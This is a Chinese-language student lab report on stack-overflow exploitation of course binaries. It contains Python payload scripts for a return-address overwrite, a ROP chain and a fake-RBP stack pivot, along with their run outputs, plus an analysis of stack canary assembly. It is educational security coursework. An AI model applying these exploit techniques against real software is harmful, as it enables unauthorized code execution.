

# 栈溢出攻击实验

姓名：刘小渔

学号：2024201502

## 题目解决思路

### Problem 1: 基础栈溢出

- 分析：

1. **定位漏洞**：通过 `objdump` 查看 `func` 函数（`0x401232`），发现 `strcpy` 存在栈溢出漏洞。
2. **计算偏移量**：汇编指令 `lea -0x8(%rbp),%rax` 显示缓冲区起始于 `rbp-0x8`。为了覆盖返回地址（位于 `rbp+0x8`），需要填充 `8 bytes (Buffer) + 8 bytes (Saved RBP) = 16 bytes`。
3. **攻击目标**：目标函数 `func1` 地址为 `0x401216`。

- 解决方案：我使用 Python 的 `struct` 库构建二进制 Payload，精确覆盖返回地址。

```
import struct

# Payload = 16字节填充 + func1地址

padding = b'A' * 16

target_address = 0x401216

payload = padding + struct.pack('<Q', target_address)

with open("ans1.txt", "wb") as f:

    f.write(payload)
```

- 结果：

```
lexie@LAPTOP-Q3I3A057:/mnt/c/Users/Lexie/attacklab$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
```

## Problem 2: 绕过 NX 保护 (ROP)

- 分析:

1. **保护机制:** NX (No-Execute) 开启, 无法执行栈上代码, 需采用 ROP 技术。

2. **攻击逻辑:** 目标函数 `func2 (0x401216)` 会检查 `%edi` 寄存器的值是否为 `0x3f8`。

3. **Gadget 选择:** 在 `0x4012c7` 发现 `pop %rdi; ret` 指令序列, 可用于将栈上数据弹入 `%rdi` 寄存器。

4. **栈布局:** `[Padding 16B] -> [Gadget地址] -> [参数 0x3f8] -> [func2地址]`。

- 解决方案: 构建 ROP 链, 先利用 Gadget 传参, 再跳转至目标函数。

```
import struct

padding = b'A' * 16

gadget_addr = 0x4012c7      # pop %rdi; ret

arg_value = 0x3f8          # 参数 1016

target_func = 0x401216     # func2

# 构造 ROP Chain

payload = padding

payload += struct.pack('<Q', gadget_addr)

payload += struct.pack('<Q', arg_value)

payload += struct.pack('<Q', target_func)

with open("ans2.txt", "wb") as f:

    f.write(payload)
```

- 结果:

```
● lexie@LAPTOP-Q3I3A057:/mnt/c/Users/Lexie/attacklab$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

## Problem 3: 绕过 ASLR (Stack Pivoting)

- 分析:

1. **难点:** ASLR 导致栈地址随机, 且目标 `func1` (`0x401216`) 检查参数 `114`, 但缺乏合适的 Gadget 进行传参。

2. **攻击逻辑:** 直接跳转到 `func1` 内部检查之后的地址 `0x40122b`, 跳过参数比对。

3. **Stack Pivoting:** `func1` 内部利用 `%rbp` 寻址字符串。由于栈溢出破坏了 `%rbp`, 直接跳转会导致访问非法内存崩溃。需将 Saved RBP 覆盖为 `.data` 段的一个固定可写地址 (如 `0x403600`), 伪造一个安全的栈帧。

4. **偏移量:** `func` 中 `lea -0x20(%rbp)` 说明 Buffer 大小为 32 字节。

- **解决方案:** Payload 结构为 [Padding 32B] -> [Fake RBP (.data段)] -> [Target Address (跳过检查点)]。

```
import struct

padding = b'A' * 32

fake_rbp = 0x403600          # .data段的安全地址

target_addr = 0x40122b      # func1 内部直接打印的地址

payload = padding

payload += struct.pack('<Q', fake_rbp)    # 劫持 RBP

payload += struct.pack('<Q', target_addr) # 劫持 RIP

with open("ans3.txt", "wb") as f:

    f.write(payload)
```

- 结果:

```
● lexie@LAPTOP-Q3I3A057:/mnt/c/Users/Lexie/attacklab$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

## Problem 4: Canary 保护机制分析

- **分析：** 本题考察对 Stack Canary 保护机制的汇编级理解。通过分析 `func` 函数 ( `0x135d` ), 定位到两处关键指令：

1. **设置 Canary (Set up)：** 在函数序言部分，程序从 `%fs:0x28` 取出随机值放入栈底 ( `rbp-0x8` )。

```
```asm
```

```
136c: 64 48 8b 04 25 28 00  mov  %fs:0x28,%rax # 取出 Canary
```

```
1375: 48 89 45 f8          mov  %rax,-0x8(%rbp)# 存入栈帧
```

```
...
```

2. **检查 Canary (Check)：** 在函数返回前，取出栈底值与原值比较。若不一致（说明发生了溢出），则调用 `__stack_chk_fail` 终止程序。

```
```asm
```

```
140a: 48 8b 45 f8          mov  -0x8(%rbp),%rax
```

```
140e: 64 48 2b 04 25 28 00  sub  %fs:0x28,%rax # 比较
```

```
1417: 74 05              je   141e      # 相等则通过
```

```
1419: e8 b2 fc ff ff      call __stack_chk_fail@plt
```

```
...
```

- **解决方案：** 本题无需代码攻击，旨在分析上述汇编逻辑，证明程序通过在 Buffer 和 Return Address 之间插入随机值来检测缓冲区溢出。
- **结果：**

```
● lexie@LAPTOP-Q3I3A057:/mnt/c/Users/Lexie/attacklab$ ./problem4
hi please tell me what is your name?
Lexie
hi! do you like ics?
yes
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

## 思考与总结

本次实验让我对底层系统有了更直观的认识：

首先，我转变了攻击思维。从 Problem 1 的“暴力覆盖”，到 Problem 2 的“借力打力”(ROP)，再到 Problem 3 的“偷天换日”(栈迁移)，我深刻体会到了攻击者如何在受限环境中寻找突破口。特别是 Problem 3，通过伪造 RBP 来骗过程序，让我对栈帧的作用有了全新的理解。

然后，我体会到了保护机制的有效性。Problem 4 的 Canary 机制非常简单却极其有效。仅仅是在栈上放一个随机数，就挡住了我之前所有的溢出手段。这让我意识到安全编程中编译器选项的重要性。

以及这次实验中，我坚持使用 Python 的 struct 库来生成 Payload，而不是手动拼接十六进制字符。这种工程化的方法不仅避免了大小端序的低级错误，也让我的攻击脚本更易于修改和复用。

## 参考资料

1. Randal E. Bryant, David R. O'Hallaron, *Computer Systems: A Programmer's Perspective (3rd Edition)*.
2. CTF Wiki - Stack Overflow: <https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/>
3. Intel® 64 and IA-32 Architectures Software Developer Manuals.